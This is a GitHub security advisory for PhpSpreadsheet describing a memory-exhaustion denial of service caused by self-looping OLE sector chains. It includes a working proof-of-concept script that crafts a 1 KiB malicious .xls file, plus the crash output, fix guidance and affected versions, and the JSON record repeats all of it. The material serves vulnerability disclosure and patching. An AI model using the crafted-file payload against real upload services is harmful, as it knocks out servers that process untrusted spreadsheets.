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GHSA-XH5M-36R6-47M3

Vulnerability from github – Published: 2026-07-23 15:01 – Updated: 2026-07-23 15:01
VLAI
Summary
PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
Details

Summary

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

  • src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
  • src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
  • src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;

    $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
    $pos += 4 * $bbs;

    $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

  • src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
  • src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
  • src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

  • src/PhpSpreadsheet/Shared/OLERead.php:175-180
  • src/PhpSpreadsheet/Shared/OLERead.php:198-202
  • src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9));     // sector size 512
$set(32, pack("v", 6));     // mini sector size 64
$set(44, pack("l", 1));     // 1 SAT sector
$set(48, pack("l", 0));     // directory first sector 0
$set(56, pack("l", 4096));  // mini stream cutoff
$set(60, pack("l", 0));     // SSAT first sector 0
$set(64, pack("l", 1));     // one SSAT sector
$set(68, pack("l", -2));    // no MSAT extension
$set(72, pack("l", 0));     // no extension sectors
$set(76, pack("l", 0));     // DIFAT says SAT is sector 0
$set(512, pack("l", 0));    // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH

Observed output:

ole_size=1024
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

  • Validate every OLE sector-chain walk with:
  • a visited-sector set to reject cycles;
  • maximum chain length based on file size and sector size;
  • bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
  • rejection of negative sector IDs other than the documented end-of-chain marker.
  • Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
  • Apply the same guarded chain-walk helper to:
  • small-block depot chain construction;
  • small-block stream extraction;
  • big-block stream extraction;
  • readData().
  • Add regression tests with self-looping and out-of-range SAT/SSAT chains.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59933"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T15:01:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPhpSpreadsheet\u0027s OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this-\u003esbdStartBlock;\n$this-\u003esmallBlockChain = \u0027\u0027;\nwhile ($sbdBlock != -2) {\n    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n    $this-\u003esmallBlockChain .= substr($this-\u003edata, $pos, 4 * $bbs);\n    $pos += 4 * $bbs;\n\n    $sbdBlock = self::getInt4d($this-\u003ebigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c\u0027SH\u0027\nset -eu\nphp -r \u0027\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (\u0026$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9));     // sector size 512\n$set(32, pack(\"v\", 6));     // mini sector size 64\n$set(44, pack(\"l\", 1));     // 1 SAT sector\n$set(48, pack(\"l\", 0));     // directory first sector 0\n$set(56, pack(\"l\", 4096));  // mini stream cutoff\n$set(60, pack(\"l\", 0));     // SSAT first sector 0\n$set(64, pack(\"l\", 1));     // one SSAT sector\n$set(68, pack(\"l\", -2));    // no MSAT extension\n$set(72, pack(\"l\", 0));     // no extension sectors\n$set(76, pack(\"l\", 0));     // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0));    // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027\nphp -d memory_limit=64M -d display_errors=1 -r \u0027\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r-\u003ecanRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP   1. {main}() Command line code:0\nPHP   2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase-\u003ecanRead($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) Command line code:4\nPHP   3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead-\u003eread($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n  - a visited-sector set to reject cycles;\n  - maximum chain length based on file size and sector size;\n  - bounds checks before reading from `$this-\u003edata`, `$this-\u003ebigBlockChain`, or `$this-\u003esmallBlockChain`;\n  - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n  - small-block depot chain construction;\n  - small-block stream extraction;\n  - big-block stream extraction;\n  - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.",
  "id": "GHSA-xh5m-36r6-47m3",
  "modified": "2026-07-23T15:01:50Z",
  "published": "2026-07-23T15:01:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion"
}



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